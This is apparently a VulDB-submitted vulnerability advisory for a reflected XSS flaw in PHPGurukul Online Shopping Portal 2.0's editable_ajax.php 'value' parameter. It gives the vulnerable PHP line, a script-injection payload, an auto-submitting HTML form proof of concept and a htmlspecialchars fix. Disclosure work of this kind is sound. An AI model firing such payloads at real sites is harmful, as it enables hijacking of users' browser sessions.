| タイトル | PHPGurukul Online Shopping Portal 2.0 Improper Neutralization of Alternate XSS Syntax |
|---|
| 説明 | [XSS vulnerability] found in Online Shopping Portal 2.0 - (editable_ajax.php)
Affected Project: Online Shopping Portal
Platform: Web/Php
Vendor: PHPGurukul
Official Website: (https://phpgurukul.com/shopping-portal-free-download/)
Version: 2.0
Updated: 06 June 2024
Vulnerable path/file: /admin/assets/plugins/DataTables/examples/examples_support/editable_ajax.php
Injection parameter: `value`
Size: 30.5 MB
Sha256: 127e719bf4236a9140f146dd7a6ae54f2a9234b9e6f0aeda240e7a4905c6e73c
# Vulnerability Description:
The issue arises in the `value` paramateter because in the code it is directly echoing the user-supplied input `($_POST['value'])` without any sanitization.
This allows an attacker to inject arbitrary HTML or JavaScript code leading to an XSS attack.
# Vulnerable code:
echo $_POST['value'].' (server updated)';
# Injection Payload Tested:
We set `value` to:
"><script>alert('XSS')</script>
# Execution:
When the browser parses this through a POST request, it executes the `<script>alert('XSS')</script>` code, resulting in a popup displaying `"XSS"`.
# Demonstration:
Below is how `Online Shopping Portal` looks like:
https://i.postimg.cc/zf1f8fgt/1.png
As it is a POST request we need to use a file `test_form.html` with the following content to be able to trigger the XSS popup:
<!DOCTYPE html>
<html>
<head>
<title>Test XSS Injection</title>
</head>
<body>
<form action="http://localhost/shopping/admin/assets/plugins/DataTables/examples/examples_support/editable_ajax.php" method="POST" id="xssForm">
<input type="hidden" name="value" value='"><script>alert("XSS")</script>'>
<input type="submit" value="Submit">
</form>
<script>
// Automatically submit the form when the page loads
document.getElementById('xssForm').submit();
</script>
</body>
</html>
Then we have to open the file `test_form.html` in the browser:
For example url in the browser:
file:///home/username/Desktop/test_form.html
After submitting the payload using the file test_form.html the XSS payload `"><script>alert('XSS')</script>`, XSS is triggered:
https://i.postimg.cc/wBGg3TyY/2.png
# Recommendation for Preventing XSS:
To fix this vulnerability, we must always sanitize user inputs before rendering them in the HTML. We can use functions like htmlspecialchars() in PHP to encode special characters.
Example:
echo htmlspecialchars($_POST['value'], ENT_QUOTES, 'UTF-8') . ' (server updated)';
> One Click Can Change Everything: Be Secure. |
|---|
| ソース | ⚠️ https://github.com/secuserx/CVE/blob/main/%5BXSS%20vulnerability%5D%20found%20in%20Online%20Shopping%20Portal%202.0%20-%20(editable_ajax.php).md |
|---|
| ユーザー | secuserx (UID 76735) |
|---|
| 送信 | 2024年11月01日 23:29 (2 年 ago) |
|---|
| モデレーション | 2024年11月02日 19:49 (20 hours later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 282912 [PHPGurukul Online Shopping Portal 2.0 editable_ajax.php 値 クロスサイトスクリプティング] |
|---|
| ポイント | 20 |
|---|